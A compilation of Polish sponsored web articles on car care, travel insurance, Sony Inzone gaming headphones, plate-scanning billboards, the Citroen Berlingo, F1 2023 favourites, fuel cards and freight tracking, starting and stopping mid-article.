Jeśli zaczynają zostawiać smugi, skrzypieć, nie przylegają równomiernie do szyby lub są uszkodzone, to znak, że najwyższy czas na ich wymianę. Warto wybierać wycieraczki dobrej jakości, które będą skutecznie usuwać wodę i nie zniszczą się po kilku miesiącach użytkowania. Regularne czyszczenie gumy wycieraczek również przyczynia się do zachowania dłuższej żywotności.

Przygotowanie samochodu do jesiennej aury – podsumowanie

Przygotowanie samochodu na sezon jesienno-zimowy to inwestycja w komfort i bezpieczeństwo jazdy. Kilka prostych kroków może znacząco wpłynąć na jakość podróży w chłodniejsze dni. Warto poświęcić chwilę, aby zadbać o swój pojazd i cieszyć się spokojem podczas jazdy w trudniejszych warunkach pogodowych. Pomocna będzie w tym również odpowiednia polisa. Sprawne auto z szeroką ochroną OC zapewni prawdziwy komfort jazdy.

Source: Przygotowanie samochodu do jesiennej aury. Co sprawdzić przed sezonem?

Ubezpieczenie turystyczne – jak działa wsparcie w podróży?

Spis treści

Jak kupić polisę na czas podróży?

Sam zakup polisy w dobie Internetu jest dość prosty. Do zakupu ubezpieczenia będą potrzebne takie informacje, jak: cel podróży, długość pobytu i liczba osób. W zależności od swoich planów warto zastanowić się nad zakresem ubezpieczenia. Planujesz sporty ekstremalne? Twój bagaż zawiera cenne przedmioty? Pomyśl o zakupie dodatkowych opcji do ubezpieczenia, które pokryją ewentualne szkody. Pamiętaj też, żeby wziąć pod uwagę to, ile kosztują świadczenia medyczne w danym kraju. Jeżeli wyjeżdżasz np. do USA, to suma ubezpieczenia nie powinna być niższa niż 500 000 zł.

Co jeszcze należy sprawdzić? Dowiedz się, czy ubezpieczenie turystyczne będzie działać w kraju, do którego masz zamiar się udać. Listę państw, w których polisa nie będzie obowiązywać, znajdziesz w OWU.

Jeżeli nie wiesz, jaki wariant ubezpieczenia wybrać, skontaktuj się z towarzystwem ubezpieczeniowym. W naszym Centrum Alarmowym otrzymasz pełne wsparcie merytoryczne. Podpowiemy Ci, jaki zakres ubezpieczenia i jakie rozszerzenia będą dla Ciebie odpowiednie.

Zapoznaj się z najważniejszymi informacjami dotyczącymi ubezpieczenia turystycznego.

Jak działa polisa turystyczna na miejscu?

Ubezpieczenie turystyczne, które ma działać już od pierwszego dnia Twojej podróży, należy wykupić jeszcze przed wyjazdem. W większości firm ubezpieczeniowych możesz skorzystać z opcji zakupu polisy, gdy już będziesz na miejscu. Jednak wtedy musisz wziąć pod uwagę kilkudniowy okres karencji.

Ubezpieczenie turystyczne będzie znaczącym wsparciem finansowym, gdy:

  • Ulegniesz poważnemu wypadkowi i konieczna będzie interwencja lekarza, a nawet hospitalizacja.
  • Zachorujesz i będziesz musiał skorzystać z pomocy lekarza.
  • Będziesz potrzebował transportu do Polski, np. z powodu wypadku.
  • Uszkodzisz czyjeś mienie.
  • Zgubisz bagaż lub Ci go ukradną.
  • Będziesz potrzebował pomocy tłumacza lub opieki nad dziećmi.

Jeżeli dojdzie do jednej z powyższych sytuacji, należy jak najszybciej skontaktować się z ubezpieczycielem na wskazany przez niego numer telefonu. Pamiętaj, żeby mieć przy sobie numer polisy ubezpieczeniowej. Na infolinii otrzymasz informację, gdzie znajduje się najbliższa placówka medyczna, ambasada czy konsulat i jakie dokumenty będą Ci potrzebne.

Koszty leczenia są najczęściej rozliczane między towarzystwem ubezpieczeniowym a placówką medyczną. Zdarza się, że koszty zostaną zrefundowane po przedstawieniu rachunków. Nie zawsze bowiem będziesz miał możliwość skontaktować się szybko z ubezpieczycielem.

Ubezpieczenie turystyczne jest bez wątpienia niezbędne w trakcie podróży. Już za kilka złotych dziennie możesz zapewnić sobie i swoim bliskim pełen komfort i poczucie bezpieczeństwa.

Source: Ubezpieczenie turystyczne – jak działa wsparcie w podróży?

Sony Inzone Buds: bezprzewodowe, douszne słuchawki gamingowe – jaki czas pracy na naładowanym akumulatorze? Dane techniczne

Spis treści

Technologie audio Sony znane są nie tylko audiofilom. Umożliwiają stworzenie optymalnych warunków do gry poprzez dostosowanie dźwięku. Atutem tych rozwiązań jest – w zależności od modelu – czas pracy wynoszący 12 godzin na w pełni naładowanym akumulatorze i małe opóźnienia.

Teraz japońska firma wprowadza również bezprzewodowe słuchawki – Sony Inzone Buds – które pracują nieprzerwanie do 28 godzin (dane producenta). Ponadto, oba świeżo zaprezentowane urządzenia nauszne – Inzone H5 i Inzone H9 – są również owocem współpracy z zespołem e-sportowym Fnatic, który za rok będzie świętował swoje 20-lecie, a w tym zdobył kolejne trofea w międzynarodowych rozgrywkach Valorant Champions Tour.

W ofercie pojawi się także nowa, czarna wersja kolorystyczna cenionych bezprzewodowych słuchawek z systemem redukcji hałasu Sony Inzone Buds.

Sony Inzone Buds – technologia

Technologia dźwięku przestrzennego 360 do gier

Technologia dźwięku przestrzennego 360 do gier w słuchawkach Inzone Buds pozwala usłyszeć, w jakim kierunku przemieszczają się przeciwnicy by móc zawsze być o krok przed nimi. Sony od wielu lat rozwija technologię pozwalającą dostosowywać pole dźwiękowe do indywidualnych cech użytkownika. Dzięki analizie nie tylko zewnętrznej części ucha, lecz także właściwości akustycznych przewodu słuchowego, słuchawki Inzone Buds mają dokładniej odtwarzać dźwięk przestrzenny. ​

Funkcja optymalizacji pola brzmieniowego w przeznaczonej na smartfon aplikacji 360 Spatial Sound Personalizer pozwala użytkownikowi sfotografować uszy w celu stworzenia indywidualnego profilu słuchowego – wszystko po to, aby zapewnić jeszcze większą dokładność dźwięku przestrzennego.

Sony Inzone Buds

Sony Inzone Buds

Funkcję Sound Tone Personalisation

Słuchawki Inzone Buds mają funkcję Sound Tone Personalisation, która optymalizuje dźwięk pod kątem indywidualnych cech przewodu słuchowego. W tym celu z przetworników akustycznych odtwarzane są dźwięki kontrolne, a mikrofony sprzężenia zwrotnego mierzą, jak dźwięk wypełnia przewód słuchowy. Wyniki analizy trafiają do programu komputerowego Inzone Hub, który dostosowuje dźwięk do cech użytkownika.

Dynamic Driver X

Specjalnie zaprojektowany przetwornik akustyczny Dynamic Driver X, użyty także w słuchawkach kultowych – WF-1000XM5 – reprodukuje szeroki zakres częstotliwości. Wiernie odtwarza wszystkie dźwięki od potężnych wybuchów po stłumione kroki, tworząc wrażenie przebywania w świecie gry. W kopułce i krawędzi jego membrany połączono różne materiały, uzyskując małe zniekształcenia, czysty dźwięk i realizm brzmienia.

Redukcja hałasu

Aktywny system redukcji hałasu firmy Sony w słuchawkach Inzone Buds pomaga zablokować zakłócenia z tła i skupić się na graniu.

​​​Sony Inzone Buds – czas pracy

Energooszczędny procesor L1 ma zapewniać do 12 godzin pracy na akumulatorze, a w połączeniu z etui z funkcją ładowania – do 24 godzin. To sprawia, że słuchawki Sony Inzone Buds mogą się sprawdzić podczas dłuższych sesji.

Sony Inzone Buds są dostarczane w zestawie z modułem transceiver USB-C, który zmniejsza opóźnienia do niecałych 30 ms. ​

Sony Inzone Buds – dane techniczne

Nowa konstrukcja ogranicza kontakt z uchem i może zwiększać komfort podczas długotrwałego grania.

Słuchawki Inzone Buds są dostępne w dwóch wariantach kolorystycznych, czarnej i białej.
​​
Inne cechy:

  • Mikrofon z systemem redukcji hałasu opartym na sztucznej inteligencji: efektywne przechwytywanie głosu w zgiełku.
  • Obsługa stuknięciami: możliwość dostosowania działania.
  • Kodek LE Audio: do 24 godzin pracy na akumulatorze ze smartfonem w połączeniu Bluetooth.
  • Aplikacja na smartfon: zgodność z aplikacją Sony Headphones Connect.

Inzone H5

Dzięki lekkiej konstrukcji i mniejszemu naciskowi na boki głowy słuchawki Inzone H5 pomogą odnieść zwycięstwo nawet podczas najdłuższych sesji gamingowych. Dźwięk przestrzenny ułatwia skupienie się na grze, a mikrofon na wysięgniku zapewnia dobrą słyszalność głosu.

Inzone H5 – najważniejsze cechy

  • Bezprzewodowe: łączność bezprzewodowa w paśmie 2,4 GHz
  • Technologia dźwięku przestrzennego 360 do gier: dokładne rozmieszczenie źródeł dźwięku w przestrzeni 3D
  • 260 g wagi, miękkie nauszniki i mały nacisk na głowę
  • Słyszalność rozmów: system redukcji hałasu oparty na sztucznej inteligencji i dwukierunkowy mikrofon zapewniające dobrą słyszalność głosu podczas gry
  • Akumulator: 28 godzin w trybie bezprzewodowym
  • Połączenie przewodowe: możliwość podłączenia przewodu z wtykiem jack 3,5 mm

Inzone H9 – nowa, czarna odmiana kolorystyczna

Słuchawki Inzone H9, znane z doskonałej redukcji hałasu, jakości dźwięku i wygody, będą teraz dostępne w wyczekiwanej przez graczy czarnej wersji kolorystycznej. ​

Sony Inzone Buds – cena w Polsce

Estymowane ceny detaliczne nowych modeli to:
INZONE Buds: ok. 1000 złotych
INZONE H5: ok. 700 złotych

Source: Sony Inzone Buds: bezprzewodowe, douszne słuchawki gamingowe – jaki czas pracy na naładowanym akumulatorze? Dane techniczne

Bilbordy zeskanują tablice rejestracyjne i wyświetlą spersonalizowane reklamy – to nowa zmora kierowców?

Spis treści

Już dziś technologia automatycznego rozpoznawania tablic rejestracyjnych i cyfrowej reklamy zewnętrznej pozwala na to, aby sczytywać numery rejestracyjne, a wszystko ułatwia analiza danych i sztuczna inteligencja. 

Technologia automatycznego rozpoznawania tablic rejestracyjnych (angielskie skróty to LPR lub ANPR) nie są niczym nowym, choć nie zawsze kierowcy są świadomi w jakich sytuacjach jest używana. Najczęściej stosowana jest przy zarządzaniu przepływem pojazdów lub przy kontroli dostępu. System ANPR sprawdzi się najlepiej na parkingach w centrach handlowych czy na lotniskach, wjazdach do firm i wszędzie tam, gdzie dostęp można przypisać do numeru rejestracyjnego. Technologia rozpoznawania tablic – ale też ta z rozszerzonymi funkcjami jak wykrywanie koloru, modelu czy typu pojazdu – może ułatwić również pracę służbom przy wykrywaniu przestępstw np. kradzieży.

Oko kamery nas wyłapie i przygotuje odpowiednią reklamę

W Wielkiej Brytanii jedna z agencji reklamowych poszła krok dalej i wyszła poza oczywiste użycie ANPR. Kampanie takich firm jak Peugeot-Citroen, Volkswagen, Toyota i Lexus wykorzystują dane w czasie rzeczywistym, aby dotrzeć do kierowców konkretnych marek samochodów. Nie byłoby w tym nic dziwnego, gdyby nie to, że odpowiedni przekaz reklamowy na billboardach uaktywnia się po przeskanowaniu tablic rejestracyjnych. Kampania była powiązana z wyjściem na rynek nowych modeli aut, a dodatkowym atutem umieszczenia reklam na nośnikach zewnętrznych był zwiększony pod koniec sierpnia ruch na autostradach. Koniec wakacji i przypadające w tym okresie święto narodowe spowodowało, że niektóre billboardy mogły mieć nawet ośmiomilionową widownię. Jednak reklamodawcom nie zależało na tym, aby trafić do wszystkich odbiorców.

Dziś technologia pomaga w docieraniu do jak najbardziej dobranej grupy odbiorców, dzięki czemu agencja marketingowa minimalizuje straty swoich klientów. Reklama nawet na teoretycznie statycznym billboardzie może zatem trafić tylko do tych, którzy mogą być w największym stopniu zainteresowani kupnem danego produktu. Kluczem jest zebranie odpowiednich danych oraz ich szczegółowa analiza są dane i ich analiza – tłumaczy Oskar Kolmasiak, lider zespołu sprzedawców w ZnajdźReklamę.pl – firmy oferującej obsługę kampanii reklamowych.

Jak działało to na brytyjskich autostradach? Gdy kamery systemu rozpoznawania tablic uchwyciły kierowcę danego typu samochodu, to reklama ustawiona nieco dalej dynamicznie zmieniała swój przekaz. Co innego widział kierowca auta rodzinnego a co innego ten, który jechał samochodem sportowym.

Agencje mają doskonale sprofilowanych odbiorców, więc wystarczy tylko stworzyć kilka wersji reklamy, która uwypukla najważniejsze dla danej grupy funkcje auta. Dla jednych będzie to przestronne wnętrze, ekologiczne rozwiązania, a dla innych elegancka sylwetka itd. Gdy dodamy do tego, że billboardy cyfrowe mogą emitować wiele różnych spotów dopasowanych do konkretnych potrzeb odbiorcy”, to i tym samym z łatwością możemy zwiększać prawdopodobieństwo, że dotrzemy do odpowiedniego klienta – dodaje Kolmasiak. 

Tablice rejestracyjne – ich skan przydaje się reklamodawcom

To nie jedyne przykłady dostosowujących się reklam do sytuacji zewnętrznej. Tak robi choćby Virgin Trains, brytyjski przewoźnik kolejowy, który wykorzystywał dane o ruchu drogowym w czasie rzeczywistym, aby pokazać kierowcom, o ile szybsza mogłaby być ich podróż pociągiem. Reklama kolei nie jest wyświetlana, gdy przejazd przez miasto jest płynny. Jest gorąco? Na billboardach mogą pojawić się informacje o napojach chłodzących, a gdy pogoda nie sprzyja, to przypomną, że obok jest warta odwiedzenia kawiarnia. 

Jeśli chcemy przykuć czyjąś uwagę to billboard na pewno zostanie zauważony. Szef nie wygląda za okno? Spokojnie, ktoś mu podrzuci zdjęcie. Australijska firma personalizacją przekazu zdobyła coś więcej. Nie rozpraszała uwagi. Informacja dociera do dyrektorów finansowych lub ich bezpośrednich przełożonych. Widzą, że reklamująca firma naprawdę stara się o zdobycie kontraktu i zdobyła wiedzę o ich ewentualnych potrzebach. Nie wiemy czy podpiszą umowę, ale możemy być niemal pewni, że biznesowe lody zostały przełamane – komentuje Oskar Kolmasiak.

Billboardy “mówią” już do pojedynczych osób. Najbardziej wpływowych

Personalizacja może jednak iść też krok dalej, a właściwie może dojść do ściany. Agencja marketingowa Innocean Australia na życzenie swojego klienta przygotowała kampanię, która ma trafić do… pojedynczego odbiorcy. Firma, która tworzy oprogramowanie zapobiegające cyberprzestępstwom postanowiła, że będzie tworzyła billboardy i inne reklamy z przekazem adresowanych do dyrektorów finansowych poszczególnych firm. Sam nośnik jest oczywiście ustawiony tak by nie mógł być przez niego przeoczony. W sumie od września przez kilka następnych miesięcy będzie realizowanych kilkadziesiąt takich akcji, głównie w Sydney. Wybrani dyrektorzy finansowi zauważą więc informacje typu: „Stacey, chroń płatności swojej firmy przed cyberprzestępcami”, “Michelle, jeśli chodzi o bezpieczeństwo płatności internetowych, to my jesteśmy pomocą”, „Walter, wysyłaj cyberprzestępców do kąta za pomocą naszego oprogramowania.”

Nie dziwią zatem liczby. Wielkość globalnego rynku cyfrowej reklamy zewnętrznej osiągnęła blisko 17 miliardów dolarów w 2022 roku. Grupa analityczna IMARC spodziewa się, że do 2028 roku rynek ten osiągnie wartość ok. 36 miliardów, a to przekłada się na roczne wzrosty w wysokości ok. 12%. 

Źródło: ZnajdźReklamę.pl

Source: Bilbordy zeskanują tablice rejestracyjne i wyświetlą spersonalizowane reklamy – to nowa zmora kierowców?

Citroen Berlingo: przestronny van do przewozu towarów i ludzi

W 1996 roku światło ujrzał nowy koncept pojazdów, będących w istocie połączeniem mniejszych samochodów dostawczych oraz “osobówek. Citroen Berlingo od początku wywoływał bardzo dobre wrażenie na klientach i mediach. Dość powiedzieć, że po prawie 30 latach od premiery wciąż jest dostępna w sprzedaży pierwsza wersja tego samochodu (jako Berlingo First), a aktualna edycja radzi sobie równie dobrze, będąc m.in. najlepiej sprzedającym się samochodem tego typu w Wielkiej Brytanii w pierwszej połowie 2023 roku (wg danych SMMT). W trakcie 6 miesięcy sprzedano tam niespełna 10 tys. egzemplarzy.

Rewolucja francuska

W 1996 roku pojawienie się na rynku Citroena Berlingo było niemałą sensacją. Wielość potencjalnych zastosowań auta – od samochodu rodzinnego dla aktywnych po dostawy towaru czy transport pracowników na niewielkich odległościach była wówczas na tyle atrakcyjna, że producent auta – koncern PSA – zadecydował o tym, aby dla pokrycia zapotrzebowania rynku wypuścić podobny pojazd także w innej marce. Do dzisiaj serie Citroen Berlingo i Peugeot Partner pozostają do siebie niezwykle podobne i zajmują zbliżoną pozycję na rynku motoryzacyjnym.

Wywołuje napięcie

Jednym z powodów, dla których francuski combivan jest wciąż tak popularny, jest z pewnością fakt wykorzystywania napędu elektrycznego. Ten podtyp pojazdów, nazywany w nomenklaturze koncernu E-Berlingo Electric, przełamuje stereotypy, dotyczące swojej kategorii. Dzięki zasięgowi 280 km, mocy silnika sięgającej ponad 130 KM i prędkości maksymalnej, sięgającej 130 km/h, combivan Citroena nie musi się wstydzić swoich osiągów. Do zadań miejskich i na krótszych trasach sprawdzi się wyśmienicie.

Szczęśliwa siódemka

Citroen Berlingo oferowany jest w dwóch wariantach długości: M i XL. W tym ostatnim przypadku nazwa jest naprawdę nieprzypadkowa: w wersji osobowej takie auto może komfortowo przewozić nawet 7 osób. System wewnętrznych schowków i możliwość złożenia każdego siedzenia powoduje, że nawet w tej wersji auto może zabrać na pokład sporo towaru, zarówno z pasażerami, jak i na miejscu kilku z nich. Decydując się na wariant ładunkowy, kierowca może liczyć na 4,4 m³ przestrzeni ładunkowej, co w zupełności wystarcza do zarządzania dostawami w przypadku prowadzenia mniejszego biznesu.

Równo pod sufitem

Prostym, ale bardzo cenionym rozwiązaniem w Citroenie Berlingo jest tzw. Modutop. To znajdujący się pod samym sufitem schowek o pojemności aż 92 litrów, do którego mają dostęp zarówno pasażerowie z tylnych siedzeń, jak i osoby rozładowujące samochód od strony bagażnika. W skład Modutopu wchodzą także podświetlane schowki w środkowej części dachu. Nad nimi znajduje się elektrycznie sterowana roleta, która zapewnia naturalne doświetlenie wnętrza samochodu.

Miejskie samochody dostawcze to jedna z najbardziej dynamicznie rozwijających się w tej chwili kategoria aut, szczególnie jeśli brać pod uwagę modele, które dysponują napędem elektrycznym. Wśród nich, pozycję lidera od lat zajmują pojazdy z linii Citroen Berlingo, co zawdzięczają licznym innowacjom i inteligentmy rozwiązaniom. Planując zakup wielozadaniowego samochodu do mniejszej firmy, listę rozważanych modeli warto zacząć właśnie od tej uroczej francuskiej serii.

Source: Citroen Berlingo: przestronny van do przewozu towarów i ludzi

Faworyci do wygrania sezonu Formuły 1

Max Verstappen – niekwestionowany lider

Obecnie to Max Verstappen, kierowca zespołu Red Bull, jest głównym faworytem do zdobycia tytułu mistrza w sezonie 2023. Jego dominacja jest tak znacząca, że bukmacherzy niemal wycofali kursy na jego zwycięstwo. Po pierwszym wyścigu w Bahrajnie objął prowadzenie i nie zamierza go oddać. Gdyby utrzymał obecną przewagę, byłby to jego trzeci z rzędu tytuł mistrza.

Red Bull ma szanse na utrzymanie swojej przewagi technologicznej. Jednakże, wypadki czy problemy z bolidem mogą dać szansę konkurencji. A Formuła 1 notowała już w historii dramatyczne zwroty akcji.

Lewis Hamilton – weteran z ambicjami

Mimo że Verstappen prowadzi w klasyfikacji, Lewis Hamilton nie zamierza się poddać. Jego forma rośnie, a kursy bukmacherskie wskazują, że może on stać się najlepszym kierowcą sezonu. Mercedes, choć miał trudny poprzedni sezon, stawia na ewolucję swojego samochodu i może jeszcze zaskoczyć.

Jeśli Mercedes wprowadzi znaczące ulepszenia w swoim bolidzie, a Hamilton będzie miał serię dobrych wyścigów, może on realnie zagrozić Verstappenowi. Kluczowe będą też obrane strategie podczas wyścigów i decyzje zespołu w najważniejszych momentach.

Ferrari – zmiany i nadzieje na lepsze jutro

Ferrari, choć w poprzednich sezonach miało swoje wzloty i upadki, wciąż jest jednym z najbardziej prestiżowych zespołów w Formule 1. Zmiany w zarządzaniu i nowa strategia mogą przynieść oczekiwane rezultaty. Z Charles’em Leclercem na czele, Scuderia ma szansę na powrót na podium.

Jeśli Ferrari chce mieć nadzieję na większy sukces musi zdecydowanie poprawić swoją strategię wyścigową i skupić się na eliminacji błędów, które tak wiele kosztowały ich w poprzednich sezonach. Tylko wtedy będą mogli zagrozić dominacji Red Bulla i Mercedesa.

Inne zespoły – czarne konie sezonu

Pisząc o potencjalnych faworytach, nie możemy zapominać o innych zespołach, które mogą wpłynąć na przebieg rywalizacji. McLaren i Alpine to tylko dwie z ekip, które w poprzednim sezonie pokazały, że potrafią walczyć o czołowe pozycje. Istnieje też Aston Martin, wzmocniony przez Fernando Alonso, który może stać się niespodzianką sezonu. Ich postępy podczas zimowych testów wskazują, że mogą być czarnym koniem tegorocznej rywalizacji.

Jeśli którykolwiek z tych zespołów wprowadzi innowacje technologiczne lub wykorzysta błędy czołowych zespołów, wówczas możemy zobaczyć przetasowania na podium. Należ z uwagą obserwować Aston Martina z Alonso na pokładzie, gdyż wydaje się, że to najpoważniejszy rywal dla obecnych liderów. Jeśli masz swojego kandydata na podium, to odwiedź zakłady bukmacherskie F1.

Sezon 2023 zapowiada się niezwykle emocjonująco. Czy Verstappen utrzyma prowadzenie? Czy Hamilton odzyska tytuł mistrza? A może to Ferrari lub inny zespół zaskoczy wszystkich? Odpowiedzi na te pytania poznamy wkrótce!

Source: Faworyci do wygrania sezonu Formuły 1

Jak używanie kart paliwowych może ułatwić małym i średnim przedsiębiorstwom zarządzanie flotami?

Niezależnie od tego jak rozbudowana jest struktura firmy, efektywne zarządzanie jest istotne w każdym biznesie. Przedsiębiorcy mają na wyciągnięcie ręki wiele nowoczesnych narzędzi, które mogą ułatwić zarządzanie. Jeśli firma dysponuje flotą pojazdów, przydatne będą karty flotowe.

Małe i średnie przedsiębiorstwa stanowią istotny filar polskiej gospodarki – generują co drugą złotówkę PKB (46,6% – dane w oparciu o raport PARP 2022). Zachowanie ich konkurencyjności i wydajności jest kluczowe dla dalszej działalności. Dlatego też powinny wykorzystywać narzędzia, które mogą usprawnić ich działalność i procesy operacyjne.

Karta paliwowa dla małych i średnich firm – wstęp

Samochody osobowe i dostawcze są już standardem w prawie każdej firmie. Korzystają z nich dostawcy, kurierzy, przedstawiciele handlowi, instalatorzy itd. Pojazdy są jednym z podstawowych narzędzi pracy, ale jednocześnie generują spore koszty. Aby je ograniczyć, firmy inwestują w nowoczesne rozwiązania jak karty paliwowe dla małych firm. Są proste w obsłudze, zawarte na nich dane są w pełni bezpieczne, a przy tym dają firmie szereg korzyści.

Jakie korzyści przynoszą karty paliwowe w zarządzaniu flotą?

Karty paliwowe dla małych firm pozwalają zmniejszyć koszty ponoszone w związku z zakupem paliwa. Dostawcy zapewniają preferencyjne ceny, jeśli właściciel karty korzysta z określonych stacji paliwowych. Każde tankowanie jest rejestrowane, co umożliwia monitorowanie zużycia paliwa i eliminacje ewentualnych nadużyć. Menedżer floty może też obserwować styl jazdy kierowców (na podstawie częstotliwości tankowania w odniesieniu do przejechanych kilometrów), a dzięki fakturom online, skrócić czas potrzebny na księgowanie operacji.

Analiza raportów z karty pozwoli na lepsze zarządzanie flotą.Częstotliwość tankowania, koszty, zużycie paliwa – to wszystko posłuży do planowania budżetu i określenia, jakie będzie zapotrzebowanie na paliwo w przyszłości. Zarządzanie flotą wiąże się także z kontrolą pracy kierowców. Na podstawie uzyskanych z karty danych widać, czy kierowcy wybierają optymalną trasę i jaki mają styl jazdy. Następnie łatwiej wdrożyć działania generujące oszczędności dla MŚP.

Jak wybrać odpowiednią kartę paliwową dla Twojego przedsiębiorstwa?

Karty paliwowe dla małych firm będą wiązać się ze wszystkimi wymienionymi korzyściami, jeśli ich wybór będzie przemyślany i poprzedzony analizą dostępnych ofert. Pierwszym krokiem jest określenie wielkości floty i rodzaju ofert, jakie mogą być interesujące. Może się okazać, że propozycje dostawców znacznie się różnią w zależności od rodzaju paliwa albo właśnie wielkości floty.

Drugim elementem branym pod uwagę jest częstotliwość podróży i trasy. Należy się upewnić, że w wyznaczonych miejscach kierowcy znajdą stacje dostawcy swojej karty paliwowej, bo tylko w tych miejscach można mieć zniżki. Jeśli szukasz dostawcy z szerokim zasięgiem stacji w całej Polsce i za granicą, warto spojrzeć na ofertę Shell. Więcej na temat proponowanych przez Shell kart paliwowych dla małych i średnich przedsiębiorstw znajdziesz na stronie: https://www.shell.pl/klienci-biznesowi/karta-paliwowa/karta-paliwowa-dla-malej-firmy.html.

Oszczędności dla MŚP tomarzenie każdego właściciela,dlatego patrzymy nie tylko na zniżki na paliwo, ale też na inne korzyści, jakie wiążą się z podjęciem współpracy z dostawcą, jak dostęp do myjni samochodowej czy programy lojalnościowe.

Source: Jak używanie kart paliwowych może ułatwić małym i średnim przedsiębiorstwom zarządzanie flotami?

Gdzie jest mój fracht? Tajemnicze zaginięcia w świecie logistyki!

Wyzwania branży logistycznej

Branża logistyczna jest złożonym obszarem gospodarki. Takim, który kiedy działa prawidłowo — nie budzi na co dzień większych emocji. Jednak kiedy coś przestaje funkcjonować w łańcuchu dostaw, wpływa to na poszczególne ogniwa, a w efekcie może dojść do opóźnień. 

Transportowanie dóbr to złożony proces, więc nic dziwnego, że czasami może dochodzić do wspomnianych przesunięć dostawy. Gdzie jest mój fracht? To pytanie, które często zadają sobie zarówno firmy logistyczne, jak i zwykli klienci. Kiedy towar znika w trakcie transportu, może to spowodować poważne problemy. Skutki zaginięcia transportowanych dóbr są poważne. Firmy tracą pieniądze i zaufanie klientów. Jak zapobiegać takim sytuacjom?

Rozwiązanie

Jeśli na rynku mamy pewien problem, to zwykle ktoś w krótkim czasie znajduje rozwiązanie. Najlepsze są takie pomysły, które opracowali ludzie dobrze rozumiejący wyzwania danej branży. Taką firmą jest Spotos, która oferuje śledzenie frachtu w czasie rzeczywistym. Opracowana przez nią specjalna tablica ułatwia bieżącą weryfikację dokładnego położenia ładunku. Użytkownik otrzymuje powiadomienia o każdej aktualizacji statusu, więc trzyma rękę na pulsie. A jeśli coś jest nie tak, można bezpośrednio skontaktować się z kierowcą. To oznacza, że ma się pełną kontrolę nad swoim ładunkiem i można śledzić go w czasie rzeczywistym. Co ważne, nie jest konieczne rozumienie skomplikowanych technologii. Wiadomo, że towary są w bezpiecznych rękach i dotrą na miejsce w terminie. Spotos to godna zaufania platforma w branży logistyki.

Najczęstsze przyczyny zaginięć frachtu

Oto kilka najczęstszych powodów:

Problemy z zarządzaniem zapasami

Czasami towar znika w wyniku błędów w zarządzaniu jego ilością i kontrolą. Oznacza to, że ktoś po prostu źle policzył lub źle skatalogował, ile towaru jest dostępne.

Kwestie techniczne

Awarie pojazdów lub uszkodzenia towarów podczas ich transportu wynikające z nieodpowiedniego zapakowania, lub problemów z systemami do śledzenia ładunków mogą doprowadzić do utraty towarów.

Kradzieże

Niestety są one jedną z najbardziej oczywistych przyczyn brakującego ładunku.

Jak zapobiegać zaginięciom frachtu?

Zaginięcie frachtu może mieć różne przyczyny. Czasem to po prostu błąd w zarządzaniu towarem, awaria samochodu lub problem z dokumentami. Inne przypadki to kradzieże lub wydarzenia niezależne od nas jak np. klęski żywiołowe. Jeśli zależy nam na minimalizacji ryzyka, można podjąć pewne kroki zapobiegawcze. Oto kilka z nich:

Śledzenie ładunków

Korzystanie z systemów do śledzenia ładunków, na przykład wspomnianego wcześniej  rozwiązania Spotos, pozwala na bieżąco monitorować ich lokalizację. W razie problemów można szybko reagować. 

Kompletna dokumentacja

Należy tu przede wszystkim zadbać o zgodność z przepisami i kompletność dokumentów takich jak listy przewozowe i faktury.

Zabezpieczenia na czas transportu

Transportowane dobra powinny być odpowiednio zabezpieczone przed kradzieżą. W tym celu stosuje się różnego rodzaju plomby, alarmy oraz blokady zapobiegające otwarciu ładunku w trakcie podróży. 

Ubezpieczenie

Należy pamiętać o wykupieniu polisy dla transportu, który rusza w drogę. 

GPS

Geolokalizacja pojazdu to dzisiaj standard w firmowych środkach transportu. Pozwala ona w czasie rzeczywistym śledzić przemieszczanie się pojazdu. Gdyby doszło do awarii, wypadku lub kradzieży samochodu, od razu się o tym dowiemy.

Stały monitoring transportu

W przypadku delikatnych towarów wymagany jest monitoring różnych parametrów transportu jak na przykład temperatura, wilgotność, a nawet wstrząsy, co bywa kluczowe w branży spożywczej i medycznej.

Odpowiednie przeszkolenie pracowników

Należy pamiętać, aby przeszkolić pracowników, którzy odpowiadają za załadunek i rozładunek oraz sam transport towarów, tak aby mieli świadomość, że to od nich zależy bezpieczny transport do celu.

Podsumowanie

Zaginięcie frachtu stanowi spore wyzwanie dla branży logistycznej. Najczęstsze przyczyny zaginięć to błędy w zarządzaniu zapasami, problemy techniczne i kradzieże. Zapobiegawcze kroki obejmują śledzenie ładunków, kompletną dokumentację, zabezpieczenia, ubezpieczenia, GPS oraz przeszkolenie pracowników.

Source: Gdzie jest mój fracht? Tajemnicze zaginięcia w świecie logistyki!

Jedź na urlop ze spokojną głową: jak się zabezpieczyć i nie ryzykować nieprzyjemnej niespodzianki w drodze?

Ubezpieczenie turystyczne NNW – jak to działa?

Jeśli planujemy urlop i chcemy odpowiednio zabezpieczyć się na rozmaite ewentualne wypadki czy inne nieprzewidziane sytuacje, warto zakupić ubezpieczenie turystyczne, zamiennie określane jako podróżne. Taka polisa może być niezwykle pomocna w takich sytuacjach jak złamanie ręki, udar słoneczny, poparzenia, problemy żołądkowe a także gdy konieczne będzie przeprowadzenie operacji. Oferta ubezpieczeń turystycznych jest obecnie bardzo rozbudowana. 

Oczywiście, wiadomo, że osoby ubezpieczone w ZUS mają prawo do korzystania z placówek ochrony zdrowia na terenie Polski bezpłatnie. Trzeba jednak pamiętać o tym, iż za zmarnowane wakacje nikt nam pieniędzy nie odda. Nieszczęśliwy wypadek, do którego może dojść podczas wakacji, niejednokrotnie sprawia, że cały czas, który mielibyśmy spędzić na plaży, poświęcimy na leczenie i rehabilitację. Właśnie w takich okolicznościach przydaje się ubezpieczenie podróżne. Jeszcze większe korzyści odnosimy z zakupu takiej polisy, jeśli wybieramy się za granicę. Wówczas dzięki takiej polisie możemy czuć się pewnie, że w razie gdyby doszło do jakiegokolwiek wypadku, otrzymamy fachową pomoc medyczną. 

Ubezpieczenie NNW, czyli najważniejszy element polisy turystycznej

Jeśli chodzi o polisy turystyczne, ubezpieczenie NNW, czyli od następstw nieszczęśliwych wypadków, jest jego najważniejszą częścią. Czym wyróżnia się ten rodzaj ubezpieczenia?

Chodzi w nim o to, że w momencie, gdy ulegniemy wypadkowi, który poskutkuje utratą przez nas zdrowia, otrzymamy odszkodowanie. Każdy, kto planuje wybrać się na aktywne wakacje, np. w góry w celu jeżdżenia na nartach, powinien bardzo dokładnie przemyśleć możliwość zakupu takiej polisy w ramach ubezpieczenia turystycznego – zwłaszcza, gdy jest to wyjazd zagraniczny. 

Wysokość odszkodowania z NNW – od czego jest uzależniona?

